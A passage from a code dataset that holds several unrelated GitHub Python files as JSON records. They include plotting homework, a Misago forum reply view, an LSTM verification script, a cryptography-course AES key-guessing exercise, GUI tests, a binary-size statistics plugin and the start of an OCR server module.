matplotlib.pyplot as plt\n#line chart\ndf=pd.read_csv('diabetes.csv')\nx = df['BloodPressure']\ny=df['Age']\nplt.plot(x, y)\nplt.ylabel('Age')\nplt.xlabel('BloodPressure')\nplt.title(\"Linear graph\")\nplt.show()\n#bar chart\nplt.bar(x, y, color ='maroon',\n width = 0.4)\nplt.ylabel('Age')\nplt.xlabel('BloodPressure')\nplt.title(\"bar graph\")\nplt.show()\nplt.pie(y)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Sowmya8618/DS_assignment1","sub_path":"DS Assignment-1.py","file_name":"DS Assignment-1.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5677934973","text":"from datetime import timedelta\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext as _\nfrom misago.conf import settings\nfrom misago.markdown import post_markdown\nfrom misago.models import Post\nfrom misago.monitor import monitor, UpdatingMonitor\nfrom misago.utils.datesformats import date\nfrom misago.utils.translation import ugettext_lazy\nfrom misago.apps.threadtype.posting.base import PostingBaseView\nfrom misago.apps.threadtype.posting.forms import NewReplyForm\n\nclass NewReplyBaseView(PostingBaseView):\n action = 'new_reply'\n allow_quick_reply = True\n form_type = NewReplyForm\n\n def set_context(self):\n self.set_thread_context()\n self.request.acl.threads.allow_reply(self.proxy, self.thread)\n if self.kwargs.get('quote'):\n self.quote = Post.objects.get(id=self.kwargs.get('quote'))\n self.request.acl.threads.allow_post_view(self.request.user, self.thread, self.quote)\n\n def form_initial_data(self):\n if self.quote:\n return {'post': self.quote.quote()}\n return {}\n\n def post_form(self, form):\n now = timezone.now()\n\n if self.force_moderation():\n moderation = True\n else:\n moderation = (not self.request.acl.threads.acl[self.forum.pk]['can_approve']\n and self.request.acl.threads.acl[self.forum.pk]['can_start_threads'] == 1)\n\n self.thread.previous_last = self.thread.last_post\n self.md, post_preparsed = post_markdown(form.cleaned_data['post'])\n\n # Count merge diff and see if we are merging\n merge_diff = (now - self.thread.last)\n merge_diff = (merge_diff.days * 86400) + merge_diff.seconds\n if (settings.post_merge_time\n and merge_diff < (settings.post_merge_time * 60)\n and self.thread.last_poster_id == self.request.user.id\n and self.thread.last_post.moderated == moderation\n and (not self.thread.last_post.deleted or self.thread.last_post_id == self.thread.start_post_id)):\n merged = True\n self.post = self.thread.last_post\n self.post.date = now\n self.post.post = '%s\\n\\n%s' % (self.post.post, form.cleaned_data['post'])\n self.md, self.post.post_preparsed = post_markdown(self.post.post)\n self.post.save(force_update=True)\n else:\n # Create new post\n merged = False\n self.post = Post.objects.create(\n forum=self.forum,\n thread=self.thread,\n user=self.request.user,\n user_name=self.request.user.username,\n ip=self.request.session.get_ip(self.request),\n agent=self.request.META.get('HTTP_USER_AGENT'),\n post=form.cleaned_data['post'],\n post_preparsed=post_preparsed,\n date=now,\n moderated=moderation,\n )\n\n # Update thread data and score?\n if not moderation:\n self.thread.new_last_post(self.post)\n\n if not merged:\n if not moderation:\n self.thread.replies += 1\n else:\n self.thread.replies_moderated += 1\n\n # Increase thread score\n if self.thread.last_poster_id != self.request.user.pk:\n self.thread.score += settings.thread_ranking_reply_score\n\n # Update forum and monitor\n if not moderation and not merged:\n with UpdatingMonitor() as cm:\n monitor.increase('posts')\n self.forum.posts += 1\n self.forum.new_last_thread(self.thread)\n self.forum.save(force_update=True)\n\n # Reward user for posting new reply?\n if not moderation and not merged and (not self.request.user.last_post\n or self.request.user.last_post < timezone.now() - timedelta(seconds=settings.score_reward_new_post_cooldown)):\n self.request.user.score += settings.score_reward_new_post\n\n # Update user\n if not moderation and not merged:\n self.request.user.posts += 1\n self.request.user.last_post = now\n self.request.user.save(force_update=True)\n\n # Set thread weight\n if 'thread_weight' in form.cleaned_data:\n self.thread.weight = form.cleaned_data['thread_weight']\n\n # Set \"closed\" checkpoint, either due to thread limit or posters wish\n if (settings.thread_length > 0\n and not merged and not moderation and not self.thread.closed\n and self.thread.replies >= settings.thread_length):\n self.thread.closed = True\n self.thread.set_checkpoint(self.request, 'limit')\n elif 'close_thread' in form.cleaned_data and form.cleaned_data['close_thread']:\n self.thread.closed = not self.thread.closed\n if self.thread.closed:\n self.thread.set_checkpoint(self.request, 'closed')\n else:\n self.thread.set_checkpoint(self.request, 'opened')\n\n # Save updated thread\n self.thread.save(force_update=True)\n\n # Mute quoted user?\n if not (self.quote and self.quote.user_id and not merged\n and self.quote.user_id != self.request.user.pk\n and not self.quote.user.is_ignoring(self.request.user)):\n self.quote = None\n\n # E-mail users about new response\n def email_watchers(self, notified_users):\n emailed = self.thread.email_watchers(self.request, self.type_prefix, self.post)\n for user in emailed:\n if not user in notified_users:\n if user.pk == self.thread.start_poster_id:\n alert = user.alert(ugettext_lazy(\"%(username)s has replied to your thread %(thread)s\").message)\n else:\n alert = user.alert(ugettext_lazy(\"%(username)s has replied to thread %(thread)s that you are watching\").message)\n alert.profile('username', self.request.user)\n alert.post('thread', self.type_prefix, self.thread, self.post)\n alert.save_all()\n\n def watch_thread(self):\n if self.request.user.subscribe_reply:\n self.start_watching_thread(\n self.request.user.subscribe_reply == 2)","repo_name":"Maronato/aosalunos","sub_path":"misago/apps/threadtype/posting/newreply.py","file_name":"newreply.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"5766637718","text":"import os\n\ndef show_records(records_dir):\n\n records = open(records_dir)\n\n line = records.readline()\n\n counts = []\n count = 0\n while line:\n count+=1\n label_index = line.index('[')-2\n label = int(line[label_index])\n\n if label>=len(counts):\n counts.append(1)\n else:\n counts[label]+=1\n\n line = records.readline()\n\n print(count)\n print(counts)\n\nprojects = {\"binary/test2\":['disease_free', 'diseased'],\n \"3categories/test2\":['disease_free', 'diseased_mild', 'diseased_severe'],\n \"5categories/test2\":['cancer', 'disease_free', 'early_cancer', 'erosive', 'ulcer']}\n#projects = {\"binary/test1\":[0,1]}\n#projects = {\"multilabel5/best_test\":[0,1,2,3,4]}\n#model_names = [\"vgg11\",\"densenet121\",\"densenet161\",\"inception3\",\"mobilenetv2\"]\nmodel_names = [\"vgg11_500\",\"densenet121_500\",\"densenet161_500\",\"mobilenetv2_500\",\"resnet50_500\"]\nfor key in projects:\n for model_name in model_names:\n print(model_name)\n for label in projects[key]:\n records_dir = os.path.join(\"/data1/qilei_chen/DATA/gastro_v2\",key,model_name,\"best.model_\"+str(label)+\".txt\")\n show_records(records_dir)\n#show_records(\"/data1/qilei_chen/DATA/gastro/binary/vgg11/best.model_0.txt\")\n#show_records(\"/data1/qilei_chen/DATA/gastro/binary/vgg11/best.model_1.txt\")","repo_name":"qilei123/train_img_classifier","sub_path":"show_confusionmatrix.py","file_name":"show_confusionmatrix.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5446651465","text":"import tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops import variable_scope\nfrom tensorflow.python.ops import init_ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import variables\nfrom tensorflow.contrib.rnn.python.ops import rnn_cell\n\nres = []\n\nwith tf.Session() as sess:\n with variable_scope.variable_op_scope(\n name_or_scope=\"other\",initializer=init_ops.constant_initializer(0.5)) as vs:\n x = array_ops.zeros([1,3])\n c = array_ops.zeros([1,2])\n h = array_ops.zeros([1,2])\n state = (c,h)\n cell = rnn_cell.LayerNormBasicLSTMCell(2,layer_norm=False)\n g, out_m = cell(x,state)\n sess.run([ variables.global_variables_initializer() ])\n res = sess.run([g,out_m],{\n x.name:np.array([[1.,1.,1.,]]),\n c.name:0.1*np.asarray([[0,1]]),\n h.name:0.1*np.asarray([[2,3]])\n })\n\n print(res[1].c)\n print(res[1].h)\n\n\n#####\n#numpy\n#####\nx = np.array([[1.,1.,1.]])\nc = 0.1*np.asarray([[0,1]])\nh = 0.1*np.asarray([[2,3]])\nnum_units = 2\nargs = np.concatenate((x,h),axis=1)\nprint(args)\n\nout_size = 4 * num_units\nproj_size = args.shape[-1]\nprint(out_size)\nprint(proj_size)\n\nweights = np.ones([proj_size,out_size])*0.5\nprint(weights)\n\nout = np.matmul(args,weights)\nprint(out)\n\nbias = np.ones([out_size])*0.5\nprint(bias)\n\nconcat = out + bias\nprint(concat)\n\ni, j, f, o = np.split(concat,4,1)\nprint(i)\nprint(j)\nprint(f)\nprint(o)\n\ng = np.tanh(j)\nprint(g)\n\n\n# ---------------------------------------\n# 计算遗忘门\n# f_t = sigmoid(W_f*[h_(t-1),x_t] + b_f)\n#----------------------------------------\n\ndef sigmoid_array(x):\n return 1/(1+np.exp(-x))\n\nforget_bias = 1.0\nsigmoid_f = sigmoid_array(f+forget_bias)\nprint(sigmoid_f)\n\n\n# ---------------------------------------\n# 计算C\n# C_t = f_t*C_(t-1) + i_t * C_hat_t\n#----------------------------------------\n\nprint( sigmoid_array(i) * g )\nnew_c = c * sigmoid_f + sigmoid_array(i) * g\nprint( new_c )\n\n# ---------------------------------------\n# 计算h\n# o_t = sigmoid(W_o*[h_(t-1),x_t]+b_o)\n# h_t = o_t * tanh(C_t)\n#----------------------------------------\n\nnew_h = np.tanh( new_c ) * sigmoid_array(o)\nprint( new_h )\n\nprint(new_h)\nprint(new_c)\n\nprint(res[1].h)\nprint(res[1].c)","repo_name":"flyrae/some_idea","sub_path":"lstm/compare_with_tf.py","file_name":"compare_with_tf.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41410248817","text":"s = open('/home/diana/ЕГ��/досрок 1/17_7596.txt')\na = [int(i) for i in s]\n\nmina = 1e9\nfor i in a:\n if i % 10 == 5 and 99 < i < 1000:\n mina = min(mina, i)\n\ncount = 0\nminn = 1e9\nfor i in range(len(a) - 1):\n summ = a[i] + a[i + 1]\n if (99 < a[i] < 1000 and (a[i + 1] < 100 or a[i + 1] >= 1000)) or (99 < a[i + 1] < 1000 and (a[i] < 100 or a[i] >= 1000)):\n if summ % mina == 0:\n count += 1\n minn = min(minn, summ)\nprint(count, minn)","repo_name":"mnkhmtv/kege","sub_path":"досрок 1/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29832857350","text":"from food.settings.common import *\n\nDEBUG = True\n\n\nMEDIA_ROOT = os.path.abspath(os.path.join(BASE_DIR, '..', 'static/media'))\nSTATIC_ROOT = os.path.abspath(os.path.join(BASE_DIR, '..', 'static'))\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\nINSTALLED_APPS += (\n # If you're using Django 1.7.x or later\n #'debug_toolbar.apps.DebugToolbarConfig',\n # If you're using Django 1.6.x or earlier\n 'debug_toolbar',\n)\n","repo_name":"Delremm/food","sub_path":"food/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1882468776","text":"from Crypto.Cipher import AES\nfrom Crypto.Util import Counter\n \niv = open('2015_10_01_18_57_40_gonzalo.diez.puerta_trasera.enc', 'rb').read()[:16]\n \ndef toHex(s):\n lst = []\n for ch in s:\n hv = hex(ord(ch)).replace('0x', '')\n if len(hv) == 1:\n hv = '0'+hv\n lst.append(hv)\n \n return reduce(lambda x,y:x+y, lst)\n\nfor i in range(256):\n k = [chr(ord(x)^i) for x in iv]\n k = ''.join(k)\n obj = AES.new(k, AES.MODE_CBC, iv)\n \n decr = obj.decrypt(open('2015_10_01_18_57_40_gonzalo.diez.puerta_trasera.enc','rb').read())\n\n last = len(decr)-1\n\n padding = int(toHex(decr[last]),16)\n\n bueno = True\n\n if padding > 15:\n bueno = False\n else:\n for j in range(padding,0, -1):\n # print (j, last, last-(j-padding))\n if int(toHex(decr[last+(j-padding)]),16) == padding:\n decr = decr[:-1]\n else:\n bueno = False\n # print \"malo \", i\n if bueno:\n open('resultados/'+str(i)+'.txt', 'wb').write(decr)","repo_name":"Pinkii-/Cripto","sub_path":"practica4/aessrg.py","file_name":"aessrg.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6294805832","text":"from unittest.mock import Mock\n\nfrom vispy.scene.events import SceneMouseEvent\n\nfrom slicereg.gui.app_model import AppModel\nfrom slicereg.gui.slice_window import SliceView, SliceViewModel\nfrom slicereg.utils.introspection import get_public_attrs\n\n\ndef test_slice_view_launches_without_errors(qtbot):\n view = SliceView(_model=SliceViewModel(_model=Mock(AppModel)))\n qtbot.addWidget(view.qt_widget)\n\n\ndef test_slice_view_updates_without_error_for_all_viewmodel_fields(qtbot):\n for attr in get_public_attrs(SliceViewModel):\n model = SliceViewModel(_model=Mock(AppModel))\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n setattr(model, attr, getattr(model, attr)) # set attribute with its own value\n\n\ndef test_slice_view_triggers_mouse_wheel_viewmodel_mouse_wheel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, delta=(1, 5))\n view.mouse_wheel(event)\n model.on_mousewheel_move.assert_called_with(increment=5)\n\n\ndef test_slice_view_triggers_left_mouse_drag_on_viewmodel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, pos=(5, 10), button=1)\n event.last_event.pos = (1, 2)\n view.mouse_move(event)\n model.on_left_mouse_drag.assert_called_with(x1=1, y1=2, x2=5, y2=10)\n model.on_right_mouse_drag.assert_not_called()\n\n\ndef test_slice_view_triggers_right_mouse_drag_on_viewmodel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, pos=(5, 10), button=2)\n event.last_event.pos = (1, 2)\n view.mouse_move(event)\n model.on_left_mouse_drag.assert_not_called()\n model.on_right_mouse_drag.assert_called_with(x1=1, y1=2, x2=5, y2=10)\n\n\ndef test_slice_view_acknowledges_mouse_press(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent)\n event.handled = False\n view.mouse_press(event)\n assert event.handled == True\n","repo_name":"brainglobe/slicereg","sub_path":"slicereg/gui/slice_window/tests/test_slice_view.py","file_name":"test_slice_view.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"54"} +{"seq_id":"2015131572","text":"\"\"\"\nGroups data into categories and returns statistics about each category.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport inspect\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Callable\n\nif TYPE_CHECKING: # pragma: no cover\n from ..lib.api import BinarySizeAPI, DataRow\n\n\n@dataclass\nclass CategoryStatistics:\n category: str | None\n size: int\n symbol_amount: int\n\n def format(self) -> str:\n return f\"{self.size:>10_}: {str(self.category):<20} ({self.symbol_amount:>5_} symbols)\"\n\n\n@dataclass\nclass CategoryRow:\n category: str | None\n data_row: DataRow\n\n def format(self) -> str:\n return f\"{str(self.category):<15}: {self.data_row.format()}\"\n\n\nclass StatisticsPlugin:\n def __init__(\n self,\n binary_size: BinarySizeAPI,\n categories_func: Callable[[DataRow], str | None],\n ):\n self.binary_size = binary_size\n # Function that takes a row and returns a string, that will be\n # used as a category for the row. Returns None if no category matches.\n self.categories_func = categories_func\n self.row_data_with_category = self._include_category_data()\n\n def get(self) -> list[CategoryStatistics]:\n return self._get_categories_statistics()\n\n def show_data_with_categories(\n self, file_to_save: str | Path | None = None, include_none: bool = False\n ) -> None:\n final_output = \"\\n\".join(\n category_row.format() for category_row in self.row_data_with_category\n )\n\n _show(final_output, file_to_save)\n\n def show(\n self,\n file_to_save: str | Path | None = None,\n include_none: bool = False,\n include_categories_func: bool = False,\n ) -> None:\n statistics_data = self._get_categories_statistics()\n final_output = _get_printable_output(\n statistics_data, is_file=file_to_save is not None, include_none=include_none\n )\n\n # Optionally including the categories function definition for\n # documentation and replication purposes\n if include_categories_func:\n final_output = f\"{inspect.getsource(self.categories_func)}\\n{final_output}\"\n\n _show(final_output, file_to_save)\n\n def _include_category_data(self) -> list[CategoryRow]:\n return [\n CategoryRow(category=self.categories_func(row), data_row=row)\n for row in self.binary_size.get()\n ]\n\n def _get_all_categories(self) -> set[str | None]:\n return set([row.category for row in self.row_data_with_category])\n\n def _get_categories_statistics(self) -> list[CategoryStatistics]:\n all_categories: list[CategoryStatistics] = []\n for category in self._get_all_categories():\n all_category_items = [\n row for row in self.row_data_with_category if row.category == category\n ]\n all_categories.append(\n CategoryStatistics(\n category=category,\n size=sum(row.data_row.size for row in all_category_items),\n symbol_amount=len(all_category_items),\n )\n )\n\n all_categories.sort(key=lambda x: x.size, reverse=True)\n return all_categories\n\n\ndef _show(final_output: str, file_to_save: str | Path | None = None) -> None:\n if file_to_save:\n print(f\"Saving statistics report to {file_to_save}\")\n with open(file_to_save, \"w\") as f:\n f.write(final_output)\n else:\n print(final_output)\n\n\ndef _get_printable_output(\n statistics_data: list[CategoryStatistics],\n include_none: bool = False,\n is_file: bool = False,\n) -> str:\n if not include_none:\n # Getting rid of the empty category\n statistics_data = [row for row in statistics_data if row.category is not None]\n summary = _get_data_summary(statistics_data)\n result_data = \"\\n\".join(row.format() for row in statistics_data)\n # Putting summary at the most visible place - top for file, bottom for terminal\n return f\"{summary}\\n{result_data}\" if is_file else f\"{result_data}\\n{summary}\"\n\n\ndef _get_data_summary(statistics_data: list[CategoryStatistics]) -> str:\n category_amount = len(statistics_data)\n overall_size = sum(row.size for row in statistics_data)\n symbol_count = sum(row.symbol_amount for row in statistics_data)\n return f\"SUMMARY: {category_amount:_} categories, {symbol_count:_} symbols, {overall_size:_} bytes in total.\"\n","repo_name":"trezor/binsize","sub_path":"src/binsize/plugins/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"72510988000","text":"from collections import defaultdict\nfrom math import gcd\nfrom random import choice, choices, randint\nfrom typing import List, Tuple\n\nfrom numba import njit\nfrom sklearn.preprocessing import quantile_transform\n\nfrom max_divisors import numbers_with_max_n_divisors\n\n\n@njit\ndef is_prime(num: int) -> bool:\n for i in range(2, num + 1):\n if i * i > num:\n break\n if num % i == 0:\n return False\n return True\n\n\n@njit\ndef prev_prime(n: int) -> int:\n while not is_prime(n):\n n -= 1\n return n\n\n\n@njit\ndef next_prime(n: int) -> int:\n n += 1\n while not is_prime(n):\n n += 1\n return n\n\n\nTestCase = Tuple[int, int]\nMOD = 10**9 + 7\n\n\nclass Generator:\n def __init__(self, N: int) -> None:\n self.N = N\n\n def random(self) -> TestCase:\n n = randint(3, self.N)\n ans = self.solve(n)\n return n, ans\n\n def n_max(self) -> TestCase:\n n = self.N\n ans = self.solve(n)\n return n, ans\n\n def n_max_prime(self) -> TestCase:\n n = prev_prime(self.N)\n ans = self.solve(n)\n return n, ans\n\n def max_number_of_divisors(self) -> TestCase:\n ns = sorted(numbers_with_max_n_divisors(self.N))\n n = choice(ns)\n ans = self.solve(n)\n return n, ans\n\n def n_square(self) -> TestCase:\n n = choice(sorted(map(lambda x: x**2, numbers_with_max_n_divisors(int(self.N**0.5)))))\n ans = self.solve(n)\n return n, ans\n\n def max_twos_power(self) -> TestCase:\n n = 1\n while n * 2 <= self.N:\n n *= 2\n ans = self.solve(n)\n return n, ans\n\n def max_number_of_distinct_primes(self) -> TestCase:\n n = 1\n prime = 2\n while n * prime <= self.N:\n n *= prime\n prime = next_prime(prime)\n ans = self.solve(n)\n return n, ans\n\n def generate_all(self) -> List[TestCase]:\n all: list[TestCase] = []\n all.append(self.random())\n print(\"random done\")\n all.append(self.n_max())\n print(\"n_max done\")\n all.append(self.n_max_prime())\n print(\"n_max_prime done\")\n all.append(self.max_number_of_divisors())\n print(\"max_number_of_divisors done\")\n all.append(self.n_square())\n print(\"n_square done\")\n all.append(self.max_twos_power())\n print(\"max_twos_power done\")\n all.append(self.max_number_of_distinct_primes())\n print(\"max_number_of_distinct_primes done\")\n return all\n\n def solve(self, n: int) -> int:\n return (pow(2, n, MOD) - 1 - n - n * (n - 1) // 2) % MOD\n\n def validate(self, n: int) -> None:\n assert 3 <= n <= self.N\n","repo_name":"brkdnmz/inzvaland","sub_path":"Do The Math/#8/yilmaz-dislikes-ersoys-table/funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38591919612","text":"matrix = [[1,4,7,11,15],\n [2,5,8,12,19],\n [3,6,9,16,22],\n [10,13,14,17,24],\n [18,21,23,26,30]]\n\ntarget = 24\n\nm = len(matrix)\nn = len(matrix[0])\n\n# starting position\ni, j = 0, n-1\nflag = False\n\n# terminate while loop when in last row's first element or when key == target\n\nwhile i < m and j >= 0:\n key = matrix[i][j]\n if key == target:\n flag = True\n break\n elif key > target:\n j = j-1\n elif key < target:\n i = i+1\n\nif flag:\n print(True)\nelse:\n print(False)","repo_name":"techonair/Programming-Pathshala","sub_path":"Arrays And Dynamic Arrays/Assignment-2/Search a 2D Matrix II LeetCode.py","file_name":"Search a 2D Matrix II LeetCode.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"73638666403","text":"#time 33\nclass Solution:\n def bagOfTokensScore(self, tokens: list[int], power: int) -> int:\n left = 0 \n right = len(tokens) - 1\n score = 0\n tokens.sort()\n while left <= right:\n if tokens[left] <= power:\n score += 1\n power -= tokens[left]\n left += 1\n elif score > 0 and left < right:\n power += tokens[right]\n right -= 1\n score -= 1\n else:\n break\n return score","repo_name":"Haymanot-Demis/A2SV-Problems","sub_path":"Two Pointers/Bag of Tokens.py","file_name":"Bag of Tokens.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17575501060","text":"# 별 찍기 - 10\n\n'''\n\n*********\n* ** ** *\n*********\n*** ***\n* * * *\n*** ***\n*********\n* ** ** *\n*********\n\n'''\n\n# 풀이1\n# *을 문제 모양처럼 생성\n# 재귀함수를 통해 문제의 모양을 반복\n'''\nN = int(input())\nlist1 = [[0 for i in range(N)] for i in range(N)]\nprint(list1)\ndef countingStar1(power):\n for i in range(3):\n if i == 1:\n print('{}{}{}'.format('*', ' ', '*'))\n else:\n print('{}'.format('*'*3))\n\n\ndef countingStar(power):\n for _ in range(int(power/3)):\n print('*'*power)\n print('* *' * int(power/3))\n print('*'*power)\n return countingStar(power - 1)\n'''\n#countingStar(3)\n# 모르겠당..\n\n# 풀이2\n# 1. 3 X 3 이차원 리스트를 만든다.\n# 2. 함수를 생성하고 인자값(n)이 3일때 2차원 리스트에 ***, * *, ***을 대입\n# 3. n을 3으로 나눈 몫을 새로운 변수(new_n)에 저장하고 그 변수를 매개변수로 재귀함수실행\n# 3-1. 결국 인자값이 3이 될때까지 함수를 반복해준다.\n\n# 4. 인자값이 3인 함수에서 이제 처음 생성한 2차원 리스트에 하나씩 *을 그려준다.\n# 5. 이중 for문 3 x 3에서 index [1][1]인 경우가 아닐때\n# 6. 반복문을 new_n까지 반복 => new_n은 결국 한줄에 ***가 몇세트 들어가는지 반복\n# 7. list1[i+k][j:j+new_n] 3x3의 다음 위치에 = g[k][:new_n] n==3일때 2차원 리스트를 대입\n# 7-1. i=0,1,2 k=0~new_n-1 j=0,1,2 \n\ndef countingStar(n):\n DIV3 = n//3 # 3으로 나눈 몫 값을 저장\n if n == 3: # 3의 1승으로 별모양 초기화\n board[1] = ['*', ' ', '*']\n board[0][:3] = board[2][:3] = ['*']*3\n return\n \n countingStar(DIV3) # 27 x 27 -> 9 x 9 -> 3 x 3으로 재귀함수 실행\n for i in range(0, n, DIV3): # 3 x 3부터 시작 (0, 9, 3)\n for j in range(0, n, DIV3):\n if i != DIV3 or j != DIV3: # DIV3 == 3\n for k in range(DIV3): # 3번 반복\n board[i+k][j:j+DIV3] = board[k][:DIV3] # 핵심!! board[0+0][0:1] = board[0][:1] -> '*'하나\n # board[0+0][1:1+1] = board[0][:1]\n # board[3][3]일때는 건너뛰고 ' '빈칸 그대로\n\n\nimport sys\nN = int(sys.stdin.readline())\nboard = [[' ' for _ in range(N)] for _ in range(N)] # N X N board생성\n\ncountingStar(N)\n\nfor i in range(N): \n for j in range(N): \n print(board[i][j], end='') \n print()\n\n#67608KB 2624ms","repo_name":"pkyh2/AlgorithmStudy","sub_path":"BAEKJOON/10. 재귀/03_2477.py","file_name":"03_2477.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"15300928586","text":"#!/usr/bin/env python\n# This program shows use of function that takes to parameters to compute the area\n# of a triangle: formula is \"area = .5 * base * height\"\n# Output looks like:\n### The area of Triangle of base 3 and height 5 is 7.5 ###\n\n# Check if input value is float\ndef is_float(s):\n #set result to false if below given test fail\n result = False\n # Check if we have only 1 dot\n if s.count(\".\") == 1:\n # remove the dot and se if it is a digit\n if s.replace(\".\", \"\").isdigit():\n #retrun true to confirm string is a valid float\n result = True\n return result\n\n#define a function to take input from user and validate it\ndef take_input():\n \n #lets handle user input and throw an error if invalid input is given\n b = input('Please input value for base: ')\n # check if \"b\" has a value\n if b:\n #check if it is a digit\n if b.isdigit():\n take_input.base = int(b)\n # use is_float function to check if input value is float\n elif is_float(b):\n take_input.base = float(b)\n else:\n print('Must enter a number. Bye!')\n quit()\n else:\n print('Must enter a number. Bye!')\n quit()\n\n\n # check if \"h\" has a value\n h = input('Please input value for height: ')\n if h:\n #check if it is a digit\n if h.isdigit():\n take_input.height = int(h)\n # use is_float function to check if input value is float\n elif is_float(h):\n take_input.height = float(h)\n else:\n print('Must enter a number. Bye!')\n quit()\n else:\n print('Must enter a number. Bye!')\n quit()\n\n# define another function to calculate area of triangle\ndef area_of_triangle(base,height):\n # Calculate the area now\n area = .5 * base * height\n print(f'The area of triangle of base {base} and height {height} is {area}')\n\nif __name__ == '__main__':\n #call function and validate input using function \n take_input()\n #Use variables from take_input function as arguments in calculate function\n area_of_triangle(take_input.base,take_input.height)\n","repo_name":"hstiwana/my_python_learning","sub_path":"area_of_triangle_v2.py","file_name":"area_of_triangle_v2.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14184414501","text":"class Solution(object):\n def twoSum(self, nums, target):\n\n # Create a dictionary that stores \n # the number(key) and its index \n twoSum = {}\n\n for i in range(len(nums)):\n complement = target - nums[i]\n # if the following number's complement is \n # equal to any previous number\n # Retrieve its complement's index and its own index\n if complement in twoSum.keys():\n return [twoSum[complement],i]\n # If no, add the number to the dictionary\n else:\n twoSum[nums[i]] = i\n\n ","repo_name":"shanshanlao/Exercises-Python","sub_path":"leetcode/1_twoSum.py","file_name":"1_twoSum.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13262691250","text":"#coding:utf-8\r\nimport os\r\nimport sys\r\nimport tornado\r\nimport tornado.ioloop\r\nimport tornado.web\r\nfrom concurrent.futures import ThreadPoolExecutor\r\ntry:\r\n sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), './bankBillTypeOCR/title_Type'))\r\n from billTitleOCRInterface import billType\r\n sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), './ocr_models/Tesseract_API'))\r\n from TesseractAPI_SingleHandle_Class import TessAPI\r\n from logger import logger_Info\r\n from operationConfig import MyConf,Writepid\r\n from cnn_interface_sj.ApplicationFormClassification.interface import model, return_result_dict, generate\r\n from cnn_interface_sj.ApplicationFormClassification.interface import pred\r\n from templateMatch.TemplateMatch import ModelMatchInter\r\nexcept:\r\n from sjocr.ocr_models.Tesseract_API.TesseractAPI_SingleHandle_Class import TessAPI\r\n from sjocr.bankBillTypeOCR.title_Type.billTitleOCRInterface import billType\r\n from sjocr.logger import logger_Info\r\n from sjocr.operationConfig import MyConf,Writepid\r\n from sjocr.cnn_interface_sj.ApplicationFormClassification.interface import model, return_result_dict, generate\r\n from sjocr.cnn_interface_sj.ApplicationFormClassification.interface import pred\r\n from sjocr.templateMatch.TemplateMatch import ModelMatchInter\r\n\r\nimport base64\r\nimport cv2\r\nimport urllib.request\r\nimport json\r\nimport numpy as np\r\n# from operationConfig import MyConf,Writepid\r\n# from logger import logger_Info\r\nimport traceback\r\nimport torch\r\n\r\ntess_api = None\r\ntess_api_vert = None\r\nrunlog = None\r\nmodelImgList = []\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\" if torch.cuda.is_available() else \"-1\"\r\nid_rt_value = {\"IDCardBack\" , \"IDCardFront\"}\r\n\r\nmodel_match_inter = ModelMatchInter()\r\n\r\ntypeList = {\r\n u\"结算业务申请书\": 